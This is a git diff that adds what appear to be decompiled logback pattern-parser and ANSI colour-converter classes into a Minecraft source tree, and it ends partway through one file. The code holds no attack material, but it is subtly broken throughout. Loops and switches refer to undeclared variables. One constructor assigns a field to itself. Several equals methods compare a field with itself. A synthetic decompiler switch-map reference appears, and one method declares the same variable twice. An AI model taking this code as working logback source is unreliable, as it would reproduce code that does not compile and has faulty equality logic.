diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/RedCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/RedCompositeConverter.java
new file mode 100644
index 0000000..7e8c063
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/RedCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class RedCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public RedCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "31";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/WhiteCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/WhiteCompositeConverter.java
new file mode 100644
index 0000000..402c35e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/WhiteCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class WhiteCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public WhiteCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "37";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/YellowCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/YellowCompositeConverter.java
new file mode 100644
index 0000000..7e83ba8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/YellowCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class YellowCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public YellowCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "33";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/Compiler.java b/src/minecraft/ch/qos/logback/core/pattern/parser/Compiler.java
new file mode 100644
index 0000000..fdd8074
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/Compiler.java
@@ -0,0 +1,147 @@
+package ch.qos.logback.core.pattern.parser;
+
+import ch.qos.logback.core.pattern.CompositeConverter;
+import ch.qos.logback.core.pattern.Converter;
+import ch.qos.logback.core.pattern.DynamicConverter;
+import ch.qos.logback.core.pattern.LiteralConverter;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Compiler<E>
+  extends ContextAwareBase
+{
+  Converter<E> head;
+  Converter<E> tail;
+  final Node top;
+  final Map converterMap;
+  
+  Compiler(Node top, Map converterMap)
+  {
+    this.top = top;
+    this.converterMap = converterMap;
+  }
+  
+  Converter<E> compile() {
+    head = (this.tail = null);
+    for (Node n = top; n != null; n = next) {
+      switch (type) {
+      case 0: 
+        addToList(new LiteralConverter((String)n.getValue()));
+        break;
+      case 2: 
+        CompositeNode cn = (CompositeNode)n;
+        CompositeConverter<E> compositeConverter = createCompositeConverter(cn);
+        if (compositeConverter == null) {
+          addError("Failed to create converter for [%" + cn.getValue() + "] keyword");
+          addToList(new LiteralConverter("%PARSER_ERROR[" + cn.getValue() + "]"));
+        }
+        else {
+          compositeConverter.setFormattingInfo(cn.getFormatInfo());
+          compositeConverter.setOptionList(cn.getOptions());
+          Compiler<E> childCompiler = new Compiler(cn.getChildNode(), converterMap);
+          
+          childCompiler.setContext(context);
+          Converter<E> childConverter = childCompiler.compile();
+          compositeConverter.setChildConverter(childConverter);
+          addToList(compositeConverter); }
+        break;
+      case 1: 
+        SimpleKeywordNode kn = (SimpleKeywordNode)n;
+        DynamicConverter<E> dynaConverter = createConverter(kn);
+        if (dynaConverter != null) {
+          dynaConverter.setFormattingInfo(kn.getFormatInfo());
+          dynaConverter.setOptionList(kn.getOptions());
+          addToList(dynaConverter);
+        }
+        else
+        {
+          Converter<E> errConveter = new LiteralConverter("%PARSER_ERROR[" + kn.getValue() + "]");
+          
+          addStatus(new ErrorStatus("[" + kn.getValue() + "] is not a valid conversion word", this));
+          
+          addToList(errConveter);
+        }
+        break;
+      }
+    }
+    return head;
+  }
+  
+  private void addToList(Converter<E> c) {
+    if (head == null) {
+      head = (this.tail = c);
+    } else {
+      tail.setNext(c);
+      tail = c;
+    }
+  }
+  
+
+
+
+
+
+
+
+  DynamicConverter<E> createConverter(SimpleKeywordNode kn)
+  {
+    String keyword = (String)kn.getValue();
+    String converterClassStr = (String)converterMap.get(keyword);
+    
+    if (converterClassStr != null) {
+      try {
+        return (DynamicConverter)OptionHelper.instantiateByClassName(converterClassStr, DynamicConverter.class, context);
+      }
+      catch (Exception e) {
+        addError("Failed to instantiate converter class [" + converterClassStr + "] for keyword [" + keyword + "]", e);
+        
+        return null;
+      }
+    }
+    addError("There is no conversion class registered for conversion word [" + keyword + "]");
+    
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  CompositeConverter<E> createCompositeConverter(CompositeNode cn)
+  {
+    String keyword = (String)cn.getValue();
+    String converterClassStr = (String)converterMap.get(keyword);
+    
+    if (converterClassStr != null) {
+      try {
+        return (CompositeConverter)OptionHelper.instantiateByClassName(converterClassStr, CompositeConverter.class, context);
+      }
+      catch (Exception e) {
+        addError("Failed to instantiate converter class [" + converterClassStr + "] as a composite converter for keyword [" + keyword + "]", e);
+        
+        return null;
+      }
+    }
+    addError("There is no conversion class registered for composite conversion word [" + keyword + "]");
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/CompositeNode.java b/src/minecraft/ch/qos/logback/core/pattern/parser/CompositeNode.java
new file mode 100644
index 0000000..1e97306
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/CompositeNode.java
@@ -0,0 +1,60 @@
+package ch.qos.logback.core.pattern.parser;
+
+
+
+
+
+
+public class CompositeNode
+  extends SimpleKeywordNode
+{
+  Node childNode;
+  
+
+
+
+
+
+  CompositeNode(String keyword)
+  {
+    super(2, keyword);
+  }
+  
+  public Node getChildNode()
+  {
+    return childNode;
+  }
+  
+  public void setChildNode(Node childNode) {
+    this.childNode = childNode;
+  }
+  
+  public boolean equals(Object o) {
+    if (!super.equals(o)) {
+      return false;
+    }
+    if (!(o instanceof CompositeNode)) {
+      return false;
+    }
+    CompositeNode r = (CompositeNode)o;
+    
+    return childNode == null ? true : childNode != null ? childNode.equals(childNode) : false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+  public String toString() {
+    StringBuilder buf = new StringBuilder();
+    if (childNode != null) {
+      buf.append("CompositeNode(" + childNode + ")");
+    } else {
+      buf.append("CompositeNode(no child)");
+    }
+    buf.append(printNext());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/FormattingNode.java b/src/minecraft/ch/qos/logback/core/pattern/parser/FormattingNode.java
new file mode 100644
index 0000000..30aa9dc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/FormattingNode.java
@@ -0,0 +1,58 @@
+package ch.qos.logback.core.pattern.parser;
+
+import ch.qos.logback.core.pattern.FormatInfo;
+
+
+
+
+
+
+
+
+
+
+
+
+public class FormattingNode
+  extends Node
+{
+  FormatInfo formatInfo;
+  
+  FormattingNode(int type)
+  {
+    super(type);
+  }
+  
+  FormattingNode(int type, Object value) {
+    super(type, value);
+  }
+  
+  public FormatInfo getFormatInfo() {
+    return formatInfo;
+  }
+  
+  public void setFormatInfo(FormatInfo formatInfo) {
+    this.formatInfo = formatInfo;
+  }
+  
+  public boolean equals(Object o) {
+    if (!super.equals(o)) {
+      return false;
+    }
+    
+    if (!(o instanceof FormattingNode)) {
+      return false;
+    }
+    FormattingNode r = (FormattingNode)o;
+    
+    return formatInfo == null ? true : formatInfo != null ? formatInfo.equals(formatInfo) : false;
+  }
+  
+
+  public int hashCode()
+  {
+    int result = super.hashCode();
+    result = 31 * result + (formatInfo != null ? formatInfo.hashCode() : 0);
+    return result;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/Node.java b/src/minecraft/ch/qos/logback/core/pattern/parser/Node.java
new file mode 100644
index 0000000..ad80537
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/Node.java
@@ -0,0 +1,99 @@
+package ch.qos.logback.core.pattern.parser;
+
+
+
+public class Node
+{
+  static final int LITERAL = 0;
+  
+
+  static final int SIMPLE_KEYWORD = 1;
+  
+
+  static final int COMPOSITE_KEYWORD = 2;
+  
+
+  final int type;
+  
+
+  final Object value;
+  
+  Node next;
+  
+
+  Node(int type)
+  {
+    this(type, null);
+  }
+  
+  Node(int type, Object value) {
+    this.type = type;
+    this.value = value;
+  }
+  
+
+
+  public int getType()
+  {
+    return type;
+  }
+  
+
+
+  public Object getValue()
+  {
+    return value;
+  }
+  
+  public Node getNext() {
+    return next;
+  }
+  
+  public void setNext(Node next) {
+    this.next = next;
+  }
+  
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (!(o instanceof Node)) {
+      return false;
+    }
+    Node r = (Node)o;
+    
+    return (type == type) && (value != null ? value.equals(value) : value == null) && (next != null ? next.equals(next) : next == null);
+  }
+  
+
+
+  public int hashCode()
+  {
+    int result = type;
+    result = 31 * result + (value != null ? value.hashCode() : 0);
+    return result;
+  }
+  
+  String printNext() {
+    if (next != null) {
+      return " -> " + next;
+    }
+    return "";
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    switch (type) {
+    case 0: 
+      buf.append("LITERAL(" + value + ")");
+      break;
+    default: 
+      buf.append(super.toString());
+    }
+    
+    buf.append(printNext());
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/OptionTokenizer.java b/src/minecraft/ch/qos/logback/core/pattern/parser/OptionTokenizer.java
new file mode 100644
index 0000000..56d4c0a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/OptionTokenizer.java
@@ -0,0 +1,148 @@
+package ch.qos.logback.core.pattern.parser;
+
+import ch.qos.logback.core.pattern.util.AsIsEscapeUtil;
+import ch.qos.logback.core.pattern.util.IEscapeUtil;
+import ch.qos.logback.core.spi.ScanException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OptionTokenizer
+{
+  private static final int EXPECTING_STATE = 0;
+  private static final int RAW_COLLECTING_STATE = 1;
+  private static final int QUOTED_COLLECTING_STATE = 2;
+  final IEscapeUtil escapeUtil;
+  final TokenStream tokenStream;
+  final String pattern;
+  final int patternLength;
+  char quoteChar;
+  int state = 0;
+  
+  OptionTokenizer(TokenStream tokenStream) {
+    this(tokenStream, new AsIsEscapeUtil());
+  }
+  
+  OptionTokenizer(TokenStream tokenStream, IEscapeUtil escapeUtil) {
+    this.tokenStream = tokenStream;
+    pattern = pattern;
+    patternLength = patternLength;
+    this.escapeUtil = escapeUtil;
+  }
+  
+  void tokenize(char firstChar, List<Token> tokenList) throws ScanException {
+    StringBuffer buf = new StringBuffer();
+    List<String> optionList = new ArrayList();
+    char c = firstChar;
+    
+    while (tokenStream.pointer < patternLength) {
+      switch (state) {
+      case 0: 
+        switch (c) {
+        case '\t': 
+        case '\n': 
+        case '\r': 
+        case ' ': 
+        case ',': 
+          break;
+        case '"': 
+        case '\'': 
+          state = 2;
+          quoteChar = c;
+          break;
+        case '}': 
+          emitOptionToken(tokenList, optionList);
+          return;
+        default: 
+          buf.append(c);
+          state = 1;
+        }
+        break;
+      case 1: 
+        switch (c) {
+        case ',': 
+          optionList.add(buf.toString().trim());
+          buf.setLength(0);
+          state = 0;
+          break;
+        case '}': 
+          optionList.add(buf.toString().trim());
+          emitOptionToken(tokenList, optionList);
+          return;
+        default: 
+          buf.append(c);
+        }
+        break;
+      case 2: 
+        if (c == quoteChar) {
+          optionList.add(buf.toString());
+          buf.setLength(0);
+          state = 0;
+        } else if (c == '\\') {
+          escape(String.valueOf(quoteChar), buf);
+        } else {
+          buf.append(c);
+        }
+        
+        break;
+      }
+      
+      c = pattern.charAt(tokenStream.pointer);
+      tokenStream.pointer += 1;
+    }
+    
+
+
+    if (c == '}') {
+      if (state == 0) {
+        emitOptionToken(tokenList, optionList);
+      } else if (state == 1) {
+        optionList.add(buf.toString().trim());
+        emitOptionToken(tokenList, optionList);
+      } else {
+        throw new ScanException("Unexpected end of pattern string in OptionTokenizer");
+      }
+    } else {
+      throw new ScanException("Unexpected end of pattern string in OptionTokenizer");
+    }
+  }
+  
+  void emitOptionToken(List<Token> tokenList, List<String> optionList) {
+    tokenList.add(new Token(1006, optionList));
+    tokenStream.state = TokenStream.TokenizerState.LITERAL_STATE;
+  }
+  
+  void escape(String escapeChars, StringBuffer buf) {
+    if (tokenStream.pointer < patternLength) {
+      char next = pattern.charAt(tokenStream.pointer++);
+      escapeUtil.escape(escapeChars, buf, next, tokenStream.pointer);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/Parser.java b/src/minecraft/ch/qos/logback/core/pattern/parser/Parser.java
new file mode 100644
index 0000000..cd1ff50
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/Parser.java
@@ -0,0 +1,234 @@
+package ch.qos.logback.core.pattern.parser;
+
+import ch.qos.logback.core.pattern.Converter;
+import ch.qos.logback.core.pattern.FormatInfo;
+import ch.qos.logback.core.pattern.IdentityCompositeConverter;
+import ch.qos.logback.core.pattern.ReplacingCompositeConverter;
+import ch.qos.logback.core.pattern.util.IEscapeUtil;
+import ch.qos.logback.core.pattern.util.RegularEscapeUtil;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.ScanException;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Parser<E>
+  extends ContextAwareBase
+{
+  public static final String MISSING_RIGHT_PARENTHESIS = "http://logback.qos.ch/codes.html#missingRightParenthesis";
+  public static final Map<String, String> DEFAULT_COMPOSITE_CONVERTER_MAP = new HashMap();
+  public static final String REPLACE_CONVERTER_WORD = "replace";
+  
+  static { DEFAULT_COMPOSITE_CONVERTER_MAP.put(Token.BARE_COMPOSITE_KEYWORD_TOKEN.getValue().toString(), IdentityCompositeConverter.class.getName());
+    
+    DEFAULT_COMPOSITE_CONVERTER_MAP.put("replace", ReplacingCompositeConverter.class.getName());
+  }
+  
+
+  final List tokenList;
+  int pointer = 0;
+  
+  Parser(TokenStream ts) throws ScanException {
+    tokenList = ts.tokenize();
+  }
+  
+  public Parser(String pattern) throws ScanException {
+    this(pattern, new RegularEscapeUtil());
+  }
+  
+  public Parser(String pattern, IEscapeUtil escapeUtil) throws ScanException {
+    try {
+      TokenStream ts = new TokenStream(pattern, escapeUtil);
+      tokenList = ts.tokenize();
+    } catch (IllegalArgumentException npe) {
+      throw new ScanException("Failed to initialize Parser", npe);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public Converter<E> compile(Node top, Map converterMap)
+  {
+    Compiler<E> compiler = new Compiler(top, converterMap);
+    compiler.setContext(context);
+    
+    return compiler.compile();
+  }
+  
+  public Node parse() throws ScanException {
+    return E();
+  }
+  
+  Node E() throws ScanException
+  {
+    Node t = T();
+    if (t == null) {
+      return null;
+    }
+    Node eOpt = Eopt();
+    if (eOpt != null) {
+      t.setNext(eOpt);
+    }
+    return t;
+  }
+  
+  Node Eopt()
+    throws ScanException
+  {
+    Token next = getCurentToken();
+    
+    if (next == null) {
+      return null;
+    }
+    return E();
+  }
+  
+  Node T()
+    throws ScanException
+  {
+    Token t = getCurentToken();
+    expectNotNull(t, "a LITERAL or '%'");
+    
+    switch (t.getType()) {
+    case 1000: 
+      advanceTokenPointer();
+      return new Node(0, t.getValue());
+    case 37: 
+      advanceTokenPointer();
+      
+
+      Token u = getCurentToken();
+      
+      expectNotNull(u, "a FORMAT_MODIFIER, SIMPLE_KEYWORD or COMPOUND_KEYWORD");
+      FormattingNode c; if (u.getType() == 1002) {
+        FormatInfo fi = FormatInfo.valueOf((String)u.getValue());
+        advanceTokenPointer();
+        FormattingNode c = C();
+        c.setFormatInfo(fi);
+      } else {
+        c = C();
+      }
+      return c;
+    }
+    
+    return null;
+  }
+  
+
+  FormattingNode C()
+    throws ScanException
+  {
+    Token t = getCurentToken();
+    
+
+    expectNotNull(t, "a LEFT_PARENTHESIS or KEYWORD");
+    int type = t.getType();
+    switch (type) {
+    case 1004: 
+      return SINGLE();
+    case 1005: 
+      advanceTokenPointer();
+      return COMPOSITE(t.getValue().toString());
+    }
+    throw new IllegalStateException("Unexpected token " + t);
+  }
+  
+  FormattingNode SINGLE()
+    throws ScanException
+  {
+    Token t = getNextToken();
+    
+    SimpleKeywordNode keywordNode = new SimpleKeywordNode(t.getValue());
+    
+    Token ot = getCurentToken();
+    if ((ot != null) && (ot.getType() == 1006)) {
+      List<String> optionList = (List)ot.getValue();
+      keywordNode.setOptions(optionList);
+      advanceTokenPointer();
+    }
+    return keywordNode;
+  }
+  
+  FormattingNode COMPOSITE(String keyword) throws ScanException {
+    CompositeNode compositeNode = new CompositeNode(keyword);
+    
+    Node childNode = E();
+    compositeNode.setChildNode(childNode);
+    
+    Token t = getNextToken();
+    
+    if ((t == null) || (t.getType() != 41)) {
+      String msg = "Expecting RIGHT_PARENTHESIS token but got " + t;
+      addError(msg);
+      addError("See also http://logback.qos.ch/codes.html#missingRightParenthesis");
+      throw new ScanException(msg);
+    }
+    Token ot = getCurentToken();
+    if ((ot != null) && (ot.getType() == 1006)) {
+      List<String> optionList = (List)ot.getValue();
+      compositeNode.setOptions(optionList);
+      advanceTokenPointer();
+    }
+    return compositeNode;
+  }
+  
+  Token getNextToken() {
+    if (pointer < tokenList.size()) {
+      return (Token)tokenList.get(pointer++);
+    }
+    return null;
+  }
+  
+  Token getCurentToken() {
+    if (pointer < tokenList.size()) {
+      return (Token)tokenList.get(pointer);
+    }
+    return null;
+  }
+  
+  void advanceTokenPointer() {
+    pointer += 1;
+  }
+  
+  void expectNotNull(Token t, String expected) {
+    if (t == null) {
+      throw new IllegalStateException("All tokens consumed but was expecting " + expected);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/SimpleKeywordNode.java b/src/minecraft/ch/qos/logback/core/pattern/parser/SimpleKeywordNode.java
new file mode 100644
index 0000000..80c61a8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/SimpleKeywordNode.java
@@ -0,0 +1,68 @@
+package ch.qos.logback.core.pattern.parser;
+
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleKeywordNode
+  extends FormattingNode
+{
+  List<String> optionList;
+  
+  SimpleKeywordNode(Object value)
+  {
+    super(1, value);
+  }
+  
+  protected SimpleKeywordNode(int type, Object value) {
+    super(type, value);
+  }
+  
+  public List<String> getOptions() {
+    return optionList;
+  }
+  
+  public void setOptions(List<String> optionList) {
+    this.optionList = optionList;
+  }
+  
+  public boolean equals(Object o) {
+    if (!super.equals(o)) {
+      return false;
+    }
+    
+    if (!(o instanceof SimpleKeywordNode)) {
+      return false;
+    }
+    SimpleKeywordNode r = (SimpleKeywordNode)o;
+    
+    return optionList == null ? true : optionList != null ? optionList.equals(optionList) : false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+  public String toString() {
+    StringBuilder buf = new StringBuilder();
+    if (optionList == null) {
+      buf.append("KeyWord(" + value + "," + formatInfo + ")");
+    } else {
+      buf.append("KeyWord(" + value + ", " + formatInfo + "," + optionList + ")");
+    }
+    
+    buf.append(printNext());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/Token.java b/src/minecraft/ch/qos/logback/core/pattern/parser/Token.java
new file mode 100644
index 0000000..e764b9c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/Token.java
@@ -0,0 +1,117 @@
+package ch.qos.logback.core.pattern.parser;
+
+
+
+class Token
+{
+  static final int PERCENT = 37;
+  
+
+  static final int RIGHT_PARENTHESIS = 41;
+  
+
+  static final int MINUS = 45;
+  
+
+  static final int DOT = 46;
+  
+
+  static final int CURLY_LEFT = 123;
+  
+  static final int CURLY_RIGHT = 125;
+  
+  static final int LITERAL = 1000;
+  
+  static final int FORMAT_MODIFIER = 1002;
+  
+  static final int SIMPLE_KEYWORD = 1004;
+  
+  static final int COMPOSITE_KEYWORD = 1005;
+  
+  static final int OPTION = 1006;
+  
+  static final int EOF = Integer.MAX_VALUE;
+  
+  static Token EOF_TOKEN = new Token(Integer.MAX_VALUE, "EOF");
+  static Token RIGHT_PARENTHESIS_TOKEN = new Token(41);
+  static Token BARE_COMPOSITE_KEYWORD_TOKEN = new Token(1005, "BARE");
+  static Token PERCENT_TOKEN = new Token(37);
+  
+  private final int type;
+  private final Object value;
+  
+  public Token(int type)
+  {
+    this(type, null);
+  }
+  
+  public Token(int type, Object value) {
+    this.type = type;
+    this.value = value;
+  }
+  
+  public int getType() {
+    return type;
+  }
+  
+  public Object getValue() {
+    return value;
+  }
+  
+  public String toString()
+  {
+    String typeStr = null;
+    switch (type)
+    {
+    case 37: 
+      typeStr = "%";
+      break;
+    case 1002: 
+      typeStr = "FormatModifier";
+      break;
+    case 1000: 
+      typeStr = "LITERAL";
+      break;
+    case 1006: 
+      typeStr = "OPTION";
+      break;
+    case 1004: 
+      typeStr = "SIMPLE_KEYWORD";
+      break;
+    case 1005: 
+      typeStr = "COMPOSITE_KEYWORD";
+      break;
+    case 41: 
+      typeStr = "RIGHT_PARENTHESIS";
+      break;
+    default: 
+      typeStr = "UNKNOWN";
+    }
+    if (value == null) {
+      return "Token(" + typeStr + ")";
+    }
+    
+    return "Token(" + typeStr + ", \"" + value + "\")";
+  }
+  
+
+  public int hashCode()
+  {
+    int result = type;
+    result = 29 * result + (value != null ? value.hashCode() : 0);
+    return result;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) return true;
+    if (!(o instanceof Token)) { return false;
+    }
+    Token token = (Token)o;
+    
+    if (type != type) return false;
+    if (value != null ? !value.equals(value) : value != null) { return false;
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/parser/TokenStream.java b/src/minecraft/ch/qos/logback/core/pattern/parser/TokenStream.java
new file mode 100644
index 0000000..840cca9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/parser/TokenStream.java
@@ -0,0 +1,237 @@
+package ch.qos.logback.core.pattern.parser;
+
+import ch.qos.logback.core.pattern.util.IEscapeUtil;
+import ch.qos.logback.core.pattern.util.RegularEscapeUtil;
+import ch.qos.logback.core.pattern.util.RestrictedEscapeUtil;
+import ch.qos.logback.core.spi.ScanException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class TokenStream
+{
+  final String pattern;
+  final int patternLength;
+  final IEscapeUtil escapeUtil;
+  
+  static enum TokenizerState
+  {
+    LITERAL_STATE,  FORMAT_MODIFIER_STATE,  KEYWORD_STATE,  OPTION_STATE,  RIGHT_PARENTHESIS_STATE;
+    
+
+    private TokenizerState() {}
+  }
+  
+  final IEscapeUtil optionEscapeUtil = new RestrictedEscapeUtil();
+  
+  TokenizerState state = TokenizerState.LITERAL_STATE;
+  int pointer = 0;
+  
+  TokenStream(String pattern)
+  {
+    this(pattern, new RegularEscapeUtil());
+  }
+  
+  TokenStream(String pattern, IEscapeUtil escapeUtil) {
+    if ((pattern == null) || (pattern.length() == 0)) {
+      throw new IllegalArgumentException("null or empty pattern string not allowed");
+    }
+    
+    this.pattern = pattern;
+    patternLength = pattern.length();
+    this.escapeUtil = escapeUtil;
+  }
+  
+  List tokenize() throws ScanException {
+    List<Token> tokenList = new ArrayList();
+    StringBuffer buf = new StringBuffer();
+    
+    while (pointer < patternLength) {
+      char c = pattern.charAt(pointer);
+      pointer += 1;
+      
+      switch (1.$SwitchMap$ch$qos$logback$core$pattern$parser$TokenStream$TokenizerState[state.ordinal()]) {
+      case 1: 
+        handleLiteralState(c, tokenList, buf);
+        break;
+      case 2: 
+        handleFormatModifierState(c, tokenList, buf);
+        break;
+      case 3: 
+        processOption(c, tokenList, buf);
+        break;
+      case 4: 
+        handleKeywordState(c, tokenList, buf);
+        break;
+      case 5: 
+        handleRightParenthesisState(c, tokenList, buf);
+      }
+      
+    }
+    
+
+
+
+    switch (1.$SwitchMap$ch$qos$logback$core$pattern$parser$TokenStream$TokenizerState[state.ordinal()]) {
+    case 1: 
+      addValuedToken(1000, buf, tokenList);
+      break;
+    case 4: 
+      tokenList.add(new Token(1004, buf.toString()));
+      break;
+    case 5: 
+      tokenList.add(Token.RIGHT_PARENTHESIS_TOKEN);
+      break;
+    
+    case 2: 
+    case 3: 
+      throw new ScanException("Unexpected end of pattern string");
+    }
+    
+    return tokenList;
+  }
+  
+  private void handleRightParenthesisState(char c, List<Token> tokenList, StringBuffer buf) {
+    tokenList.add(Token.RIGHT_PARENTHESIS_TOKEN);
+    switch (c) {
+    case ')': 
+      break;
+    case '{': 
+      state = TokenizerState.OPTION_STATE;
+      break;
+    case '\\': 
+      escape("%{}", buf);
+      state = TokenizerState.LITERAL_STATE;
+      break;
+    default: 
+      buf.append(c);
+      state = TokenizerState.LITERAL_STATE;
+    }
+  }
+  
+  private void processOption(char c, List<Token> tokenList, StringBuffer buf) throws ScanException {
+    OptionTokenizer ot = new OptionTokenizer(this);
+    ot.tokenize(c, tokenList);
+  }
+  
+  private void handleFormatModifierState(char c, List<Token> tokenList, StringBuffer buf) {
+    if (c == '(') {
+      addValuedToken(1002, buf, tokenList);
+      tokenList.add(Token.BARE_COMPOSITE_KEYWORD_TOKEN);
+      state = TokenizerState.LITERAL_STATE;
+    } else if (Character.isJavaIdentifierStart(c)) {
+      addValuedToken(1002, buf, tokenList);
+      state = TokenizerState.KEYWORD_STATE;
+      buf.append(c);
+    } else {
+      buf.append(c);
+    }
+  }
+  
+  private void handleLiteralState(char c, List<Token> tokenList, StringBuffer buf) {
+    switch (c) {
+    case '\\': 
+      escape("%()", buf);
+      break;
+    
+    case '%': 
+      addValuedToken(1000, buf, tokenList);
+      tokenList.add(Token.PERCENT_TOKEN);
+      state = TokenizerState.FORMAT_MODIFIER_STATE;
+      break;
+    
+    case ')': 
+      addValuedToken(1000, buf, tokenList);
+      state = TokenizerState.RIGHT_PARENTHESIS_STATE;
+      break;
+    
+    default: 
+      buf.append(c);
+    }
+  }
+  
+  private void handleKeywordState(char c, List<Token> tokenList, StringBuffer buf)
+  {
+    if (Character.isJavaIdentifierPart(c)) {
+      buf.append(c);
+    } else if (c == '{') {
+      addValuedToken(1004, buf, tokenList);
+      state = TokenizerState.OPTION_STATE;
+    } else if (c == '(') {
+      addValuedToken(1005, buf, tokenList);
+      state = TokenizerState.LITERAL_STATE;
+    } else if (c == '%') {
+      addValuedToken(1004, buf, tokenList);
+      tokenList.add(Token.PERCENT_TOKEN);
+      state = TokenizerState.FORMAT_MODIFIER_STATE;
+    } else if (c == ')') {
+      addValuedToken(1004, buf, tokenList);
+      state = TokenizerState.RIGHT_PARENTHESIS_STATE;
+    } else {
+      addValuedToken(1004, buf, tokenList);
+      if (c == '\\') {
+        if (pointer < patternLength) {
+          char next = pattern.charAt(pointer++);
+          escapeUtil.escape("%()", buf, next, pointer);
+        }
+      } else {
+        buf.append(c);
+      }
+      state = TokenizerState.LITERAL_STATE;
+    }
+  }
+  
+  void escape(String escapeChars, StringBuffer buf) {
+    if (pointer < patternLength) {
+      char next = pattern.charAt(pointer++);
+      escapeUtil.escape(escapeChars, buf, next, pointer);
+    }
+  }
+  
+  void optionEscape(String escapeChars, StringBuffer buf) {
+    if (pointer < patternLength) {
+      char next = pattern.charAt(pointer++);
+      optionEscapeUtil.escape(escapeChars, buf, next, pointer);
+    }
+  }
+  
+
+
+  private void addValuedToken(int type, StringBuffer buf, List<Token> tokenList)
+  {
+    if (buf.length() > 0) {
+      tokenList.add(new Token(type, buf.toString()));
+      buf.setLength(0);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/util/AlmostAsIsEscapeUtil.java b/src/minecraft/ch/qos/logback/core/pattern/util/AlmostAsIsEscapeUtil.java
new file mode 100644
index 0000000..7f0977b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/util/AlmostAsIsEscapeUtil.java
@@ -0,0 +1,45 @@
+package ch.qos.logback.core.pattern.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AlmostAsIsEscapeUtil
+  extends RestrictedEscapeUtil
+{
+  public AlmostAsIsEscapeUtil() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void escape(String escapeChars, StringBuffer buf, char next, int pointer)
+  {
+    super.escape("%)", buf, next, pointer);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/util/AsIsEscapeUtil.java b/src/minecraft/ch/qos/logback/core/pattern/util/AsIsEscapeUtil.java
new file mode 100644
index 0000000..6555c1b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/util/AsIsEscapeUtil.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.pattern.util;
+
+
+
+
+
+
+
+
+
+
+
